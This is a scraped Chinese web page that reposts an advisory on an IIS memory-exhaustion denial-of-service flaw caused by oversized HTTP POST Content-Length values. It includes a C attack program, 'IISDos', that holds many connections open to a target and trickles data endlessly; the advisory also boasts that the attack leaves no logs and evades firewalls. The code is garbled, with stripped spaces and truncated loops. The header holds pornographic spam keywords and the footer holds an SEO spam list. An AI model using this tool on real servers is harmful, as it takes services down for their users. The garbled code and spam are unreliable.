国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學(xué)院 > 網(wǎng)絡(luò)通信 > 正文

HTTP協(xié)議Content Lenth限制漏洞導(dǎo)致拒絕服務(wù)攻擊

2019-11-04 11:45:12
字體:
供稿:網(wǎng)友

漏洞描述:
在HTTP協(xié)議中,當(dāng)使用POST方法時,可以設(shè)置ContentLenth來定義需要傳送的數(shù)據(jù)長度,但是HTTP協(xié)議中并沒有對ContentLenth的大小進(jìn)行限制,這使得拒絕服務(wù)-內(nèi)存耗盡攻擊成為可能。
在IIS中,用戶POST數(shù)據(jù)時,系統(tǒng)先將用戶上傳的數(shù)據(jù)存放在內(nèi)存中,當(dāng)用戶完成數(shù)據(jù)傳送(數(shù)據(jù)的長度達(dá)到ContentLenth時),IIS再將這塊內(nèi)存交給特定的

文件或CGI處理;假如用戶POST非常大的數(shù)據(jù)(通過多次數(shù)據(jù)發(fā)送)例如ContentLenth:999999999,在傳送完成前,內(nèi)存不會釋放,攻擊者可以利用這個缺陷,連續(xù)向WEB服務(wù)器發(fā)送垃圾數(shù)據(jù)直至WEB服務(wù)器內(nèi)存耗盡。在Web服務(wù)器內(nèi)存不足的時候,我們可以明顯的看到系統(tǒng)速度下降、硬盤讀寫增多(緩存)等現(xiàn)象的出現(xiàn)。

值得注重的是,這種攻擊方法基本不會留下痕跡:
首先,由於數(shù)據(jù)傳送不會完成(只要ContentLenth足夠大,比如Content-Length:2147483647),所以IIS日無法記錄(IIS日是在操作完成後才記錄的)

其次,由於進(jìn)行的是正常的POST操作,而且數(shù)據(jù)是緩慢送入WEB服務(wù)器的,因此防火墻很難發(fā)現(xiàn)這樣的操作。(除非在防火墻上
對ContentLenth進(jìn)行監(jiān)測)

第三,這種攻擊對於攻擊者的主機(jī)來說幾乎沒有任何負(fù)荷,既不會消耗CPU更不會占用內(nèi)存,最多是占用了部分帶寬。

解決方法:
編寫相應(yīng)的Filter,對於過大的ContentLenth進(jìn)行過濾。

漏洞測試:
以下的程式可以測試你的服務(wù)器是否有ContentLenth漏洞:

//IISDoS
//ByShotgun
//shotgun@xici.net

voidIISDos()
{
intnet[2048],Counter=0,K=0,i,j;
strUCtsockaddr_insa;
charsend_data[1024]="POST/default.aspHTTP/1.1/nHost:xici.net/nContent-Type:text/Html/nContent-Length:

2147483647/n/r";
char*send_char;
WSADATAWSAData;
strncpy((char*)&sa,"",sizeofsa);
sa.sin_family=AF_INET;
sa.sin_port=htons(80);
sa.sin_addr.s_addr=inet_addr(Attack_ip);
send_char=(char*)malloc(sizeof(char));
for(i=0;i{
if((net[i]=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
exit(0);
}
if((connect(net[i],(structsockaddr*)&sa,sizeofsa))!=0)
{
printf("Connect%dfailed.ErrorCode:%d/n",i,GetLastError());
for(i=0;iWSACleanup();
exit(0);
}
if(send(net[i],send_data,sizeof(send_data),0)==SOCKET_ERROR)
{
printf("Sending%ddatatotheserverfailed1.ErrorCode:%d/n",i,GetLastError());
exit(0);
}
for(j=0;jif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%dKeepalivedatafailed.ErrorCode:%d/n",i,GetLastError());
exit(0);
}
Sleep(200);
}
while(1)
{
for(i=0;iif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%ddatafailed.ErrorCode:%d/n",i,GetLastError());
closesocket(net[i]);
WSACleanup();
exit(0);
}
else
{
Counter++;
if(Counter==1024)
{
Counter=0;
K++;
printf("%dKb",K);
}
Sleep(DelayTime);
}
}
for(i=0;iclosesocket(net[i]);
WSACleanup();
}



發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 金华市| 新平| 永宁县| 拜城县| 藁城市| 海盐县| 湄潭县| 亚东县| 哈巴河县| 图木舒克市| 建始县| 子长县| 大渡口区| 泗阳县| 涟水县| 六枝特区| 灌阳县| 绵阳市| 大宁县| 酉阳| 漯河市| 阳江市| 汉寿县| 贺兰县| 新宾| 大足县| 新田县| 南雄市| 城步| 泸溪县| 长治市| 墨竹工卡县| 奈曼旗| 扎赉特旗| 平南县| 莱阳市| 宕昌县| 武汉市| 玉林市| 琼结县| 任丘市|